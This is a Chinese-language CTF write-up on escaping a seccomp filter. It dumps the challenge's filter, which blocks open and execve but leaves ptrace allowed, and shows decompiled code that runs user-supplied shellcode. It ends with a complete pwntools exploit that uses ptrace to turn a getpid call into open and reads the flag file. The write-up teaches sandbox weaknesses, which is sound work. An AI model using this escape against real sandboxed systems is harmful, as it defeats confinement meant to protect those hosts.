seccomp escape
2020-06-08 本文已影响0人
Nevv
seccomp escape
题目描述
flag in /flag.txt
ubuntu16.04 kernel 4.4.0-91-generic
题目分析
- 安全防护
[*] '/home/nevv/Desktop/pwn1'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
之前没接触过这类题目,因此先大概了解下相关基础知识:
seccomp 是 secure computing 的缩写,其是 Linux kernel 从2.6.23版本引入的一种简洁的 sandboxing 机制。在 Linux 系统里,大量的系统调用(system call)直接暴露给用户态程序。但是,并不是所有的系统调用都被需要,而且不安全的代码滥用系统调用会对系统造成安全威胁。seccomp安全机制能使一个进程进入到一种“安全”运行模式,该模式下的进程只能调用4种系统调用(system call),即 read(), write(), exit() 和 sigreturn(),否则进程便会被终止。
prctl 函数
先来看下函数的原型:
#include <sys/prctl.h>
int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);
这里有5个参数,重点看option就知道它是想干嘛,这里主要关注2点:
PR_SET_NO_NEW_PRIVS(38)
PR_SET_SECCOMP(22)
我们通俗易懂地理解就是,prctl(38, 1LL, 0LL, 0LL, 0LL)表示禁用系统调用,也就是system和onegadget都没了,还会教子进程也这么干;而prctl(22,2)表示设置沙箱规则,从而可以实现改变函数的系统调用(通行或者禁止),这次重点研究沙箱规则,设置 seccomp ,其实也就是设置沙箱规则,这个 option 有两个子参数
1、SECCOMP_MODE*STRICT(1):允许线程进行的唯一系统调用是read(2),write(2),*exit(2)(但不是exit_group(2))和sigreturn(2)。
2、SECCOMP_MODE_FILTER(2) (since Linux 3.5):允许的系统调用由指向arg3中传递的Berkeley Packet Filter的指针定义。 这个参数是一个指向struct sock_fprog的指针; 它可以设计为过滤任意系统调用和系统调用参数
源码:
struct sock_filter {
/* Filter block */ __u16 code;
/* Actual filter code */ __u8 jt;
/* Jump true */ __u8 jf;
/* Jump false */ __u32 k;
/* Generic multiuse field */
};
struct sock_fprog {
/* Required for SO_ATTACH_FILTER. */ unsigned short len;
/* Number of filter blocks */
struct sock_filter *filter; };
seccomp-tools
sudo gem install seccomp-tools
nevv@ubuntu:~/Desktop/seccomp-tools-master/bin$ ./seccomp-tools dump ../../pwn1
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0011 // line11
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x07 0x00 0x40000000 if (A >= 0x40000000) goto 0011
0004: 0x15 0x06 0x00 0x00000002 if (A == open) goto 0011
0005: 0x15 0x05 0x00 0x00000101 if (A == openat) goto 0011
0006: 0x15 0x04 0x00 0x00000055 if (A == creat) goto 0011
0007: 0x15 0x03 0x00 0x0000009d if (A == prctl) goto 0011
0008: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0011
0009: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0011
0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0011: 0x06 0x00 0x00 0x00051234 return ERRNO(4660)
没有禁用ptrace
漏洞分析
程序执行流程为:
- 调用prctl设置规则
- mmap开辟空间
- 写入4096字节数据,并从起始位置开始执行
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int v3; // eax
int v4; // esi
char *v5; // rsi
signed __int64 v6; // rdi
unsigned int i; // [rsp+Ch] [rbp-A4h]
signed int v9; // [rsp+10h] [rbp-A0h]
signed int v10; // [rsp+14h] [rbp-9Ch]
int v11; // [rsp+1Ch] [rbp-94h]
char *v12; // [rsp+20h] [rbp-90h]
__int16 v13; // [rsp+30h] [rbp-80h]
__int16 *v14; // [rsp+38h] [rbp-78h]
__int16 v15; // [rsp+40h] [rbp-70h]
char v16; // [rsp+42h] [rbp-6Eh]
char v17; // [rsp+43h] [rbp-6Dh]
int v18; // [rsp+44h] [rbp-6Ch]
__int16 v19; // [rsp+48h] [rbp-68h]
char v20; // [rsp+4Ah] [rbp-66h]
char v21; // [rsp+4Bh] [rbp-65h]
int v22; // [rsp+4Ch] [rbp-64h]
__int16 v23; // [rsp+50h] [rbp-60h]
char v24; // [rsp+52h] [rbp-5Eh]
char v25; // [rsp+53h] [rbp-5Dh]
int v26; // [rsp+54h] [rbp-5Ch]
__int16 v27; // [rsp+58h] [rbp-58h]
char v28; // [rsp+5Ah] [rbp-56h]
char v29; // [rsp+5Bh] [rbp-55h]
int v30; // [rsp+5Ch] [rbp-54h]
__int16 v31; // [rsp+90h] [rbp-20h]
char v32; // [rsp+92h] [rbp-1Eh]
char v33; // [rsp+93h] [rbp-1Dh]
int v34; // [rsp+94h] [rbp-1Ch]
__int16 v35; // [rsp+98h] [rbp-18h]
char v36; // [rsp+9Ah] [rbp-16h]
char v37; // [rsp+9Bh] [rbp-15h]
int v38; // [rsp+9Ch] [rbp-14h]
unsigned __int64 v39; // [rsp+A8h] [rbp-8h]
v39 = __readfsqword(0x28u);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
if ( prctl(38, 1LL, 0LL, 0LL, 0LL) )
__assert_fail("prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) == 0", "seccomp_ptrace_escape.c", 0x1Fu, "main");
v15 = 32;
v16 = 0;
v17 = 0;
v18 = 4;
v19 = 21;
v20 = 0;
v21 = 9;
v22 = -1073741762;
v23 = 32;
v24 = 0;
v25 = 0;
v26 = 0;
v27 = 53;
v28 = 7;
v29 = 0;
v30 = 0x40000000;
for ( i = 0; i <= 5; ++i )
{
v3 = i + 4;
v4 = qword_601080[i];
*(&v15 + 4 * (signed int)(i + 4)) = 21;
*(&v16 + 8 * v3) = 6 - i;
*(&v17 + 8 * v3) = 0;
*(&v18 + 2 * (signed int)(i + 4)) = v4;
}
v31 = 6;
v32 = 0;
v33 = 0;
v34 = 2147418112;
v35 = 6;
v36 = 0;
v37 = 0;
v38 = 332340;
v13 = 12;
v14 = &v15;
if ( prctl(22, 2LL, &v13, 0LL, 0LL) )
__assert_fail(
"prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &fprog, 0, 0) == 0",
"seccomp_ptrace_escape.c",
0x39u,
"main");
v5 = (char *)4096;
v6 = 1191936LL;
v12 = (char *)mmap((void *)0x123000, 0x1000uLL, 7, 34, -1, 0LL);
if ( v12 == (char *)-1LL )
{
puts("mmap failed");
exit(0);
}
v9 = 0;
v10 = 4096;
while ( v9 <= 4095 )
{
v5 = &v12[v9];
v6 = 0LL;
v11 = read(0, v5, v10);
if ( v11 <= 0 )
exit(0);
v9 += v11;
v10 -= v11;
}
((void (__fastcall *)(signed __int64, char *))v12)(v6, v5);
return 0LL;
}
- 使用ptrace修改ori_rax
struct user_regs_struct regs;
ptrace(PTRACE_GETREGS, pid, NULL, ®s);
if (regs.orig_rax == SYS_getpid) {
regs.orig_rax = regs.rdi;
regs.rdi = regs.rsi;
regs.rsi = regs.rdx;
regs.rdx = regs.r10;
regs.r10 = regs.r8;
regs.r8 = regs.r9;
regs.r9 = 0;
ptrace(PTRACE_SETREGS, pid, NULL, ®s);
}
user_regs_struct结构
struct user_regs_struct
{
unsigned long r15;
unsigned long r14;
unsigned long r13;
unsigned long r12;
unsigned long rbp;
unsigned long rbx;
unsigned long r11;
unsigned long r10;
unsigned long r9;
unsigned long r8;
unsigned long rax;
unsigned long rcx;
unsigned long rdx;
unsigned long rsi;
unsigned long rdi;
unsigned long orig_rax;
unsigned long rip;
unsigned long cs;
unsigned long eflags;
unsigned long rsp;
unsigned long ss;
unsigned long fs_base;
unsigned long gs_base;
unsigned long ds;
unsigned long es;
unsigned long fs;
unsigned long gs;
};
exp
#coding:utf-8
#!/usr/bin/env python
from pwn import *
import pwnlib.shellcraft as sc
context(os='linux', arch='amd64', log_level='debug')
p = process('./pwn1')
# p = remote("118.89.247.212",8383)
clone = asm(sc.syscall('SYS_fork')) + asm('test rax, rax')
# clone = asm('''
# /* clone and branch */
# mov rdi, 0x4007C6
# mov rsi, 0
# mov rdx, 0
# mov r10, rsp
# add r10, 0x500
# mov qword ptr [r10], 0
# mov rax, 56
# syscall
# test rax, rax
# ''')
debugger = asm('''
/* time delay */
mov rdx, 0x30000000
dec rdx
test rdx, rdx
jnz $ - 6
push rax
/* waitpid(childpid, NULL, 0) */
mov rdi, rax
mov rsi, 0
mov rdx, 0
mov r10, 0
mov rax, 0x3d
syscall
/* ptrace(PTRACE_SYSCALL, childpid, NULL, NULL) */
mov rdi, 0x18
mov rsi, [rsp]
mov rdx, 0
mov r10, 0
mov rax, 0x65
syscall
/* waitpid(childpid, NULL, 0) */
mov rdi, [rsp]
mov rsi, 0
mov rdx, 0
mov r10, 0
mov rax, 0x3d
syscall
/* ptrace(PTRACE_GETREGS, childpid, NULL, ®s */
mov rdi, 0xc
mov rsi, [rsp]
mov rdx, 0x0
mov r10, rsp
add r10, 0x400
mov rcx, r10
/* mov rcx, 0x123200 */
mov rax, 0x65
syscall
/* ptrace(PTRACE_SETREGS, childpid, NULL, ®s) */
mov rdi, 0xd
mov rsi, [rsp]
mov rdx, 0
mov r10, rsp
add r10, 0x400
mov r9, r10
add r9, 0x78
/*
mov r10, 0x123200
mov r9, r10
add r9, 0x78
*/
mov qword ptr [r9], 2
mov rax, 0x65
syscall
/* ptrace(PTRACE_DETACH, childpid, NULL, NULL) */
mov rdi, 0x11
mov rsi, [rsp]
mov rdx, 0
mov r10, 0
mov rax, 101
syscall
mov rax, 0x3c
syscall
''')
debuggee = asm('''
/* ptrace(PTRACE_TRACEME, 0, NULL, NULL) */
mov rdi, 0
mov rsi, 0
mov rdx, 0
mov r10, 0
mov rax, 101
syscall
/* syscall(SYS_gettid) */
mov rax, 0x27/*0xba*/
syscall
/* syscall(SYS_tkill, pid, SIGSTOP) */
mov rdi, rax
mov rsi, 0x13
mov rax, 0x3e/*0xc8*/
syscall
''' + shellcraft.pushstr('./flag.txt') + '''
/* open(file='rsp', oflag=0, mode=0) */
mov rdi, rsp
xor edx, edx /* 0 */
xor esi, esi /* 0 */
/* call open() */
xor rax, rax
mov rax, 39/*getpid*/
syscall
'''
+
shellcraft.read('rax', 'rsp', 100) + shellcraft.write(1, 'rsp', 100))
stage3 = ""
stage3 += clone
stage3 += asm('jz $+{}'.format(len(debugger)+6))
stage3 += debugger
stage3 += debuggee
# gdb.attach(p)
p.sendline(stage3+"\x00"*(4096-len(stage3)))
# p.recv()
p.interactive()
注意这里在内核版本4.8之后修复了这个问题,因此调试的时候需要切换到4.4版本进行调试